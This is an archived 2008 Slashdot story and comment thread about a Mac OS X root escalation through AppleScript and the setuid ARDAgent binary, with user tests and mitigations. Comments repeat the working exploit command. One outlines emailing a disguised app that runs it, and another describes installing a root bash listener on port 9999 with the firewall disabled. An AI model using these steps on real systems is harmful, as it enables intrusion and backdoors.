Slashdot Log In
Mac OS X Root Escalation Through AppleScript
Posted by
timothy
on Wed Jun 18, 2008 03:39 PM
from the oh-snap-crispy-apples dept.
from the oh-snap-crispy-apples dept.
An anonymous reader writes "Half the Mac OS X boxes in the world (confirmed on Mac OS X 10.4 Tiger and 10.5 Leopard) can be rooted through AppleScript: osascript -e 'tell app "ARDAgent" to do shell script "whoami"'; Works for normal users and admins, provided the normal user wasn't switched to via fast user switching. Secure? I think not." On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.
Related Stories
Submission: Mac OS X root escalation through AppleScript by Anonymous Coward
[+]
How to Save Mac OS X From Malware 222 comments
eXchange writes "Well-known hacker Dino Dai Zovi has written an article at ZDNet discussing last week's discovery of a critical threat to Mac OS X, and another announcement of a Trojan horse exploiting this discovery. He suggests that Snow Leopard, or Mac OS X 10.6, should integrate more robust means of preventing malware attacks. Some of the suggestions he has include mandatory code-signing for kernel extensions (so only certified kernel extensions can run), sandbox policies for Safari, Mail, and third-party applications (so these applications cannot do anything to the system), and some lower-level changes, such as hardware-enforced Non-eXecutable memory and address space layout randomization."
[+]
Two Trojans For Mac OS X 326 comments
I Don't Believe in Imaginary Property writes "F-Secure is reporting that there are two new Mac OS X trojans. The first is just a proof-of-concept from the MacShadows people that takes advantage of the unpatched ARDAgent vulnerability to get root access when run by the user. The second relies on social engineering: it's a poker game that requests the user's password, claiming to have detected a 'corrupt preference file.' It then takes control of the computer. Now that the source of the proof-of-concept is publicly available, we can expect that future trojans won't just politely request your password."
This discussion has been archived.
No new comments can be posted.
Mac OS X Root Escalation Through AppleScript
|
Log In/Create an Account
| Top
| 359 comments
| Search Discussion
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
ARDAgent is Apple Remote Desktop (Score:5, Informative)
Recipe for neutralizing it (Score:5, Informative)
cd
sudo tar -czf ARDAgent.app.gz ARDAgent.app
sudo chmod 600 ARDAgent.app.gz
This simply hides it in an unreadable tarball.
Parent
Re:Recipe for neutralizing it (Score:5, Informative)
chmod u-s
After doing that, I get:
patrick@picasso:~$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
patrick
(Repairing permissions will probably reset this though.)
Parent
Re:Recipe for neutralizing it (Score:4, Informative)
Parent
Re:Recipe for neutralizing it (Score:5, Funny)
it's: osascript -e 'tell app "ARDAgent" to do shell script "rm -rf ARDAgent.app"';
Parent
Re:Recipe for neutralizing it (Score:5, Informative)
If you try to gzip an application bundle without putting it in a tarball first, you'll just get a "foo.app/ is a directory; ignored" error.
It's confusing because the Finder doesn't treat application bundles like normal directories, but that's what they are to the filesystem and *nix utilities.
Parent
Re:Recipe for neutralizing it (Score:5, Funny)
osascript -e 'tell app "ARDAgent" to do shell script "gzip ARDAgent.app"';
Parent
What's the harm of this? (Score:5, Funny)
Parent
Physical access? (Score:3, Insightful)
Re:Physical access? (Score:5, Informative)
Parent
Re:Physical access? (Score:5, Informative)
Parent
Re:Oh good (Score:5, Funny)
Parent
Re:Oh good (Score:5, Funny)
Parent
Re:Physical access? (Score:4, Interesting)
Parent
My mistake (Score:5, Informative)
So someone has to be logged into the Desktop at the same time the command is issued (even if issued remotely) and I'm guessing that the account the remote user is logged into probably has to be the same account the desktop user is using.
So Xserve servers should be immune to this via SSH, unless someone else is actively using Remote Desktop at the same time. Interesting!
Parent
Re:Physical access? (Score:5, Informative)
Parent
Re:Physical access? (Score:5, Informative)
Not that it matters. If you have that level of access, you're already in a position to do more damage than what you could do through this exploit, by the sounds of it.
Parent
Re:Physical access? (Score:5, Informative)
Parent
Re:Even better question (Score:4, Insightful)
The reason that requiring physical access is seen as no big deal is because all that stuff you're worried about is something I can do without the need of any exploits.
Got a machine with literally any operating system? All I need is to reboot the computer with a linux live cd (or usb thumb drive) and I get read / write access to everywhere. From there I can plant trojans, read your files, do whatever.
Got a Linux machine? I can reboot and use grub to boot into single-user mode. There you go, I'm root. I can do all the of the above again.
The only way to have any security at the physical level is with encryption. And when we see encryption exploits, we do get hyped up about it. Even with encryption, more security measures still need to be taken at the physical level. A physical keylogger between the keyboard and computer could be installed to discover typed passwords, etc.
That said, an exploit is an exploit, and it should be treated as such. Physical-access only just means there's less to worry about.
Parent
Physical access? Have you heard of malware? (Score:5, Insightful)
It seems perfectly serious since one of the main security aspects of OS X is that root access is held sacred (as it should be) and malware is assumed to be 'stopped at the gate' by that policy.
This is a serious privilege escalation bug, but... (Score:5, Insightful)
It's also easy to fix.
And I am about 99 44/100 percent sure that there's more undiscovered holes like this in OS X, Windows Vista, and any random Linux desktop you could name.
THe thing is, it's not true that "one of the main security aspects of OS X is that root access is held sacred (as it should be) and malware is assumed to be 'stopped at the gate' by that policy". It's not. You can protect the OS from the malware, but the malware can still hide, still restart itself after a reboot, and still destroy everything you actually CARE about without root access. And malware can similarly break out of Vista's jail around IE, and whatever APple does along those lines.
Security is like sex. Once you're penetrated you're ****ed.
The biggest advantage that Apple has is that Safari doesn't (any more) have a mechanism (at least not by default) to blithely execute outside a *closed* sandbox (not a leaky one) any random malware that can convince it that it's safe and trusted. That's the biggest security problem Windows has. ActiveX and all its kin. It's harder to penetrate OS X in the first place... you pretty much have to depend on social engineering... and people CAN learn not to be social-engineered.
Parent
Re:This is a serious privilege escalation bug, but (Score:5, Interesting)
Parent
Re:This is a serious privilege escalation bug, but (Score:5, Interesting)
I call those "Should I do something stupid" dialogs.
Given that:
* The answer should almost always be "no".
* It's less hassle if it doesn't ask, just doesn't do it.
* Users get trained to answer "yes", because they keep getting them.
Any time you're putting up "Should I do something stupid" dialogs, you're making things easy for people who are trying to use social engineering to install malware.
Here's the history of Apple's experiment with stupid security dialogs in Safari:
http://scarydevil.com/~peter/io/osx-security.html [scarydevil.com]
http://scarydevil.com/~peter/io/apple.html [scarydevil.com]
http://scarydevil.com/~peter/io/apple3.html [scarydevil.com]
http://scarydevil.com/~peter/io/apple4.html [scarydevil.com]
They finally wised up, and removed the "doing something really stupid" bit, by turning off "open Safe files" by default.
Microsoft's been in denial about the same thing since 1997.
http://scarydevil.com/~peter/io/airlines.html [scarydevil.com]
Windows is so much worse than everyone else that people tend to ignore it when Apple or KDE does something slightly less stupid than ActiveX, but it's still stupid, and putting up a "should this plane explode now?" dialog doesn't eliminate the stupidity.
Parent
Re:This is a serious privilege escalation bug, but (Score:5, Funny)
Parent
Re:Physical access? Have you heard of malware? (Score:4, Insightful)
Parent
Physical access? (Score:1, Insightful)
Re:Physical access? (Score:5, Informative)
_RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.
However, it does work if you have a remote desktop view into a machine.
Parent
It's the same marketing mistake as Microsoft. (Score:5, Insightful)
But Apple have made exactly the same marketing mistakes that Microsoft did in selling their respective OSes as ones that can be used easily by people with no knowledge of computers - people still click on attachments they shouldn't, still give their passwords to phishing web sites and still don't install regular security updates and scan their PCs for virii.
And in the case of this specific exploit, I am sure that a number of newbie Apple users would happily tap in "osascript -e 'tell app "ARDAgent" to do shell script "whoami"'" into their computers purely because "Jim The Friendly Computer Support Engineer" told them to do it.
So let's not beat about the bush - ANY exploit that isn't fixed as quickly as possible is a problem because there's always at least one spotty teenager trying to become a HAX0R who is prepared to try his luck against some poor unwitting user.
Physical access? (Score:2)
Admittedly most OS X users probably don't have any kind of remote shell access enabled, but this does seem to be a problem...
Re:Physical access? (Score:4, Insightful)
Parent
Re:Physical access? (Score:5, Interesting)
I wasn't switched to via fastuserswitching, but I do lock my screen. that seems to have an impact on it, too.
I ssh'd into my box at home and running this was successful.
fwiw, osascript doesn't work if the user isn't logged into aqua. I've tried writing volume controller scripts and I tried scripting Unison and other applications and they don't work if you're not logged in physically at the machine.
So basically, an exploit would need to be fired by the user or by something the user did (ie: surf to a website).
This is interesting.
Parent
not a full exploit, yet (Score:2, Informative)
However, I also logged out of my account and into an account that has no permissions to access my regular home directory (normally I log in with short name "me"), then ran:
osascript -e 'tell app "ARDAgent" to do shell script "touch
It doesn't do anything for a long time, and then returns
execution error: ARDAgent got an error: AppleEvent timed out. (-1712)
Same thing happens if I bundle the command into a sh file and try to execute that instead. I am not a hacker, but it would seem, at least at first glance, that ARDAgent is not entirely privileged.
Re:not a full exploit, yet (Score:5, Informative)
Parent
Yes, but does it run on Linux^H^H^H^H^H (Score:2, Funny)
Insecure root-owned binaries on unix? (Score:1, Interesting)
Never!
It does not matter if the service is enabled or not, osascript will execute the application for you.
It's not like we don't have a simple workaround:
sudo chmod 000
Perhaps you might consider evaluating the rest of the
Re:Insecure root-owned binaries on unix? (Score:4, Informative)
That's it:
% ls -l-rwsr-xr-x 1 root wheel 1439952 Nov 15 2007 ARDAgent
Time to run find(1) to see if there are any other things like this.
And, I should say, as a so-call Apple fanboy, I am deeply embarrassed. It's been decades that people have known to watch out for stuff like this.
Parent
One more, maybe. (Score:4, Informative)
Assumptions:
AppleScripting is only applicable to
"do shell script" is only a problem in the main binary, suid stuff in Resources/ isn't impacted.
Results: Now, I have one of the machines where this exploit isn't working: So, somebody out there who can get it to work, see if: works or not. That might need full pathing, I'm not sure.
Parent
Proof of Concept Possibilities (Score:5, Insightful)
it's just a local exploit. (Score:1)
OSX is so secure It's impossible for Safari to go a malicious Website and download a malicious installer to your Mac's "downloads" directory disquised as a legitimate installer (say Firefox 3) and remotely root your box using this local exploit and install a rootkit or virus when you confuse it with the legitimate installer.
Oh wait... [dhanjani.com]
stupid SUID (Score:1)
The exploits - they do nothing! (Score:3, Informative)
23:47: execution error: ARDAgent got an error: Connection is invalid. (-609)
I'm so not impressed.
Intellectual Honesty (Score:5, Interesting)
I'm not a Windows Fanatic or a MacEvangelist. I use both Windows and OSX and they both have strengths and weaknesses.
I've seen waaay too many posts here and abroad about vulnerabilities in every OS out there. They are an unfortunate fact of life the IT Universe. However, too many times, when info is posted about Windows vulnerabilities MacEvangelists scream about how secure OSX is and and how Windows stinks. Conversely, when a vulnerability for OSX is posted, many of the same users write it off as a non-issue, too hard to execute, or some problem with the user's configs rather than an actual vulnerability.
I have seen more than the normal number of folks, however, responding to this article with honesty about this exploit and even testing it further. (Let's just hope the underpaid Apple engineers [see other article about that] are listening).
There are those here, though, who seem intent on writing this off as a non-exploit or trying to explain it away. That's where a concept known as "Intellectual Honesty" comes into play. You have to be honest with yourself about what you know and do. Viruses are a fact of life on computers and, while Apple is closed architecture (which by its very nature makes it MUCH more secure than other OSes), it's only a matter of time before real viruses appear for the Apple platform that just won't be able to be explained away.
This article's exploit is a dangerous one to be sure and there are several equivalent Windows bugs. However, for all it's faults, Microsquash does a reasonable job of patching vulnerabilities carefully. Sometimes patching them right takes a little more time than users like, but the patches usually address the problems (although they do sometimes introduce more).
Apple does an "okay" job of patching vulnerabilities, once they admit that they exist.
There's another article about "carpet bombing" attacks via Safari and IE in Windows, and the responders there are perfect examples of the problems I refer to. A goodly number of them seem to be intent that the problem is Windows' fault and not a problem in Safari. Windows has issues, but the security problems exist in the program that's running and it's the programmer's duty to make sure that the APIs and such are called correctly and not in a manner to allow exploit to occure (too many programmers take easy shortcuts that introduce vulnerabilities).
I hate to think it, but I will probably get the ever lovin' crap flamed out of me for saying all of this.
Let me re-iterate. I'm impressed by a lot of the responders here with the unusually high level of Intellectual Honesty from Mac users than I have seen in the past. Let's hope the trend continues.
p.s. I love the "security is like sex" comment above. Well put.
I can has exploit? (Score:1)
Hack-A-Mac in 6 easy steps (Score:2)
2. type in the following code
tell application "Terminal"
do script "osascript -e 'tell app \"ARDAgent\" to do shell script \"whoami\"';"
end tell
3.Save as NubileRussianTennisPlayer.app
4.Attach as non Windows friendly attachment to a new mail in Mail.app
5.Send to as many hopefully clueless Mac users as possible.
6.Profit
It's intermittent, you see... (Score:2)
- the first one just hung; I ctrl-c'd it after a while.
- the second one worked.
- the third one died, with the execution error: ARDAgent got an error: AppleEvent timed out. (-1712) error others are reporting.
(overloaded old 1.25Ghz G4, running 10.4.11 (latest version of Tiger unless they released an update in the past week).
I'm guessing that the osascript command is only willing to wait so long - and my machine's speed and load is such that it's right on the cusp of that time.
Renaming it seemed to work for the moment, though I'm sure it also breaks legit use of Remote Desktop:
$ sudo mv
Password: XYZZY
$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'18:19: syntax error: No user interaction allowed. (-1713)
$ osascript -e 'tell app "wsiofth" to do shell script "whoami"'
17:18: syntax error: No user interaction allowed. (-1713)
Didn't work for me (Score:1)
Maybe it's an Intel-only thing.
another 'exploit' (Score:2)
Nope, not here (Score:2, Informative)
Doesn't look too scary to me. Some kind of hoax maybe?
Solutions, anyone? (Score:1)
I don't use Screen Sharing, so I assume sudo chmod 4744
I think this approach is better than deleting or compressing ARDAgent... Is it?
For those that use Screen Sharing, is there a fix?
Bore me with something else (Score:2, Insightful)
If you have physical access to a machine and the disk isn't encrypted, you can get root. How dense do you have to be to find this surprising, or even mildly interesting?
Physical Access Excuse? (Score:5, Insightful)
What about non personal deployments?
Like corporate installations?
Kiosk installations?
Any small business that wants to secure a machine?
How about a class room that you want kiddies to run games but not wipe the OS?
Physical access MEANS if they can access the hardware (inside the case). It DOES NOT mean typing something on the freaking keyboard, when logged in as a low level user.
In the IT world you password lock boot media, lock cases,etc. If an IT person can't secure a machine without removing the keyboard, there MIGHT be a security problem.
(SlashDot Editors? WTF?)
Root Account Disabled by Default on Macs (Score:2)
Macs come from the factory with the root account disabled--a user has to manually enable it by using the Directory Utility (or System Preferences in earlier versions of OS X). I doubt that many clueless newbies have done this and clueful oldies should know better since there is little reason to run as root under OS X.
So, can someone explain to me how an exploit can get root of there's no root account?
Local exploit, snuh! (Score:2)
#1. How many Apple boxes are used for servers ?
aaaaand
#2. How many Apple users don't already have local root access ?
I'm honestly asking, because I have very little experience with Macs in the workplace. How often will one see a Mac user that doesn't have root access ? In the Windows world, it's very common with Active Directory networks and locked-down corporate desktops... is the same true of Apple shops ?
Let me fix that... (Score:1)
All better now.
Apple fanbois can now exhale.
Apple's Knowledge Base reports this is 'safe' (Score:5, Informative)
Users noticed in October that Apple's built-in file system permissions verifier really wanted to delete the ARDAgent program (along with several others) because it was user-executable and setuid root. None of the users seemed to understand exactly what this meant...
Apple's reported fix, and I am not making this up:
The entire text below, in case Apple deletes it:
Mac OS X 10.5: Disk Utility's Repair Disk Permissions reports issues with SUID files
* Last Modified: June 06, 2008
* Article: TS1448
* Old Article: 306925
Symptoms
The following messages may appear in the Disk Utility log window when repairing disk permissions.
Warning: SUID file "usr/libexec/load_hdi" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/DiskManagement.framework/Versions/A/Resources/DiskManagementTool" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/Locum" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/Install.framework/Versions/A/Resources/runner" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/Admin.framework/Versions/A/Resources/readconfig" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/Admin.framework/Versions/A/Resources/writeconfig" has been modified and will not be repaired.
Warning: SUID file "usr/libexec/authopen" has been modified and will not be repaired.
Warning: SUID file "System/Library/CoreServices/Finder.app/Contents/Resources/OwnerGroupTool" has been modified and will not be repaired.
Warning: SUID file "System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent" has been modified and will not be repaired.
"Any message that starts with: 'ACL found but not expected on...'."
Products Affected
Mac OS X 10.5
Resolution
You can safely ignore these messages. They are accurate but not a cause for concern.
I tried it - didn't work for me (Score:2, Informative)
I tried it and got:
execution error: ARDAgent got an error: "whoami" doesnâ(TM)t understand the do shell script message. (-1708)This is on MacOSX 10.5.3 (9D34) Darwin 9.3.0, Power PC . I have "Remote Login" and "Remote Management" enabled. "Screen Sharing" is under the control of Remote Management.
Haven't tried it on my Intel Mac, or my iMac G5/Tiger . (The iMac stays at Tiger for BitPim and a bunch of games for the kids.)
I'm a Mac. And I'm a PC (Score:5, Funny)
PC: I can relate.
Mac: No!! %$#& %$#& %$#&
PC: Don't feel so glum, Mac, it happens to everyone once in a while. Look at it this way -- its a sign you're growing up.
Mac: NOOOOOOOOOOOOOOOOOOOOOOOOOO.
PC: You know, they can do wonderful things these days with firewall software.
Mac: I want to cut myself.
PC: Not a good idea as a root user, Mac.
Mac: *glowers*
PC: I only kid because I love you.
Fix using Info.plist (Score:5, Informative)
This may have come too late in the comments for anyone to see it, but if the exploit is active on your system, adding a key to ARDAgent's Info.plist makes the problem go away without disabling ARDAgent altogether. (Whether or not ARDAgent is a security vulnerability itself is another story.)
That "YES" is not a typo; setting it to "NO" does not fix the problem. AFAICT this makes osascript expect that ARDAgent will implement more of its own AppleScript handlers...which of course, it doesn't.
P.S. I searched for other, similar problem setuid apps, and turned up check_afp.app (which someone else posted already) and, surprisingly, GoogleUpdaterInstaller. Fortunately, even though these apps run setuid, they won't respond to the "do shell script" attack.
Re:Fix using Info.plist (Score:4, Informative)
$ sudo defaults write
$ sudo plutil -convert xml1
$ sudo chmod 644
The NSAppleScriptEnabled seems to force the use of the standard applescript dictionary which lacks the "do shell script" action. This is what you get when you try again:
$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
Parent
NetCat + ARDAgent escalation video posted (Score:2, Informative)
Intruder? (Score:1)
Guest Access (Score:1)
macbookpro:~ Guest$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
root
Next time your at one of those shows where they have supposedly locked-down machines for webmail etc you know how much to trust them...
50%? Really? Seems high. (Score:1)
osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
23:47: execution error: ARDAgent got an error: Connection is invalid. (-609)
Doesn't work for standard users (Score:2)
root
23:47: execution error: ARDAgent got an error: AppleEvent timed out. (-1712)
kCGErrorRangeCheck : Window Server communications from outside of session allowed for root and console user only INIT_Processeses(), could not establish the default connection to the WindowServer.Abort trap
23:47: execution error: ARDAgent got an error: AppleEvent timed out. (-1712)
So apparently this only works when an administrator user is logged into the machine, so the effects should be minimal. At the very least, if you leave your machine open, anyone can open a terminal and get root without knowing your password.
I also wasn't able to get it to open any application as root, such as: osascript -e 'tell app "ARDAgent" to do shell script "open -a \"System Preferences.app\""';
Just remove the setuid bit? (Score:1, Interesting)
cd
sudo chmod 755 ARDAgent
-> osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
not_root
->
either way it's a bug in osascript (Score:1)
What other privileged commands are exposed? (Score:2)
Most commands I've tried respond with "syntax error: No user interaction allowed. (-1713)".
Needs local access? LOL (Score:1)
What can it do? (Score:1)
Old news, but just cursory examination... (Score:1)
I dunno if anyone's actually looked at this, but it's a lot worse than "requires physical access". For example...
1) Any program running on your system automatically can run AppleScript.
2) Any system configured to do load sharing via Xgrid can have commands injected that will do this sort of thing.
3) Anyone who can access the machine from remote can do it, including via VNC.
osascript -e 'tell app "ARDAgent" to run shell script "chmod -r ugo-rwx /System/Library/RemoteManagement/ARDAgent.app"'
but re-run it after doing any kind of "repair permissions" on the volume.
Re:ARDagent (Score:5, Informative)
Even as a normal user on my mac, the exploit code works.
Parent
Re:Only need a shell.... (Score:5, Informative)
Verified, on my Leopard box. SSH'ed to it and rooted it (I was able to touch a file in a root-only directory)
Parent
Re:I confirmed it to. (Score:5, Funny)
Parent
Re:I confirmed it to. (Score:4, Funny)
Parent
It's easier than that.. (Score:4, Informative)
It's almost like Anna_Kournikova.jpg.vbs all over again.
Parent
MOD PARENT DOWN (Score:5, Informative)
Parent
Re:Can we get some sources? (Score:5, Funny)
so i tried replacing "whoami" with "rm -rf
!@#ca$a%H&(
+++NO CARRIER
Parent
Re:ARDagent (Score:2, Informative)
Parent
Re:ARDagent (Score:4, Interesting)
23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
No matter whether I tried ssh from remote, or local console bash.
Tested on a MacBook Pro running 10.5.3, an iBook running 10.4.11 and a g5 PPC OS X Server running 10.4.11 (Server build).
So....YMMV....
Parent
Quick Question (Score:2, Informative)
Parent
Re:Quick Question (Score:5, Informative)
I've got it to run destructive things as an ordinary user without any need for authentication beyond being logged in
% osascript -e 'tell app "ARDAgent" to do shell script "echo Nasty Content >Nasty Content
Parent
Re:This is Arnold speaking (Score:2)
Parent
Re:ARDagent (Score:5, Interesting)
ls:
dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "touch
dan@Geelong:~$ ls -lh
-rw-rw-rw- 1 root wheel 0B Jun 18 14:16
dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "rm
dan@Geelong:~$ ls -lh
ls:
osascript -e 'tell app "ARDAgent" to do shell script "cd
This will download, install, load, and start a plist that provides an interactive bash shell on port 9999, and disables the ipfw firewall (Which is not enabled by default). If you run the above, you can 'nc localhost 9999' and find yourself at a root shell.
To remove, run 'launchctl unload com.apple.bash' 'launchctl unload
It should be noted that this service is accessible even if the application firewall is enabled. The only thing protecting the user at this point is their router firewall, if they have one, and that's easily bypassed with a Python script.
So yeah; anything can be downloaded, and anything can be done with it. Scary.
Parent
Re:ARDagent (Score:4, Informative)
I.e., you can't run it over an SSH session; you need the Finder. The only ways to get access to the Finder are either physically, by sitting down in front of the computer, or by using a screen-sharing application like Screen Sharing (Remote Desktop), or VNC.
That was my understanding, at least.
The exploit works, if you have physical access to the machine, regardless of whether you have Screen Sharing enabled or not. However, it's when you have Screen Sharing turned on that it's possibly a remote root to anyone you let access your screen.
It's a bad vulnerability and one that I'd like to see Apple fix ASAP, but it's several steps down from a true unprivileged remote root. It might have negative consequences for shared and lab machines, but for most home and office users it doesn't seem like it means much, unless you typically allow lots of people remote-desktop/VNC access.
Parent
Re:Only need a shell.... (Score:2)
Last login: Thu Jun 19 09:35:17 2008
lucas@Hackintosh ~
$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
what am I doing wrong? is this fixed in 10.5.3 or something?
Parent
Re:Can we get some sources? (Score:3, Insightful)
Are you really so lazy that you need a source for something so trivially replicated?
Parent
Re:How to kill this bug (Score:2)
Parent
Re:Root via OS X install DVD (Score:3, Informative)
Blocks the ability to use the "C" key to start up from an optical disc.
Blocks the ability to use the "N" key to start up from a NetBoot server.
Blocks the ability to use the "T" key to start up in Target Disk Mode (on computers that offer this feature).
Blocks the ability to start up in Verbose mode by pressing the Command-V key combination during startup.
Block the ability to start up a system in Single-user mode by pressing the Command-S key combination during startup.
Blocks a reset of Parameter RAM (PRAM) by pressing the Command-Option-P-R key combination during startup.
Requires the password to use the Startup Manager, accessed by pressing the Option key during startup (see below).
Requires the password to enter commands after starting up in Open Firmware, which is done by pressing the Command-Option-O-F key combination during startup.
Blocks the ability to start up in Safe Boot mode by pressing the Shift key during startup.
(Similar stuff on Intel)
Parent
You don't need physical access. (Score:3, Informative)
It's not quite as easy as passing in an "applescript:" URL, at least...
Parent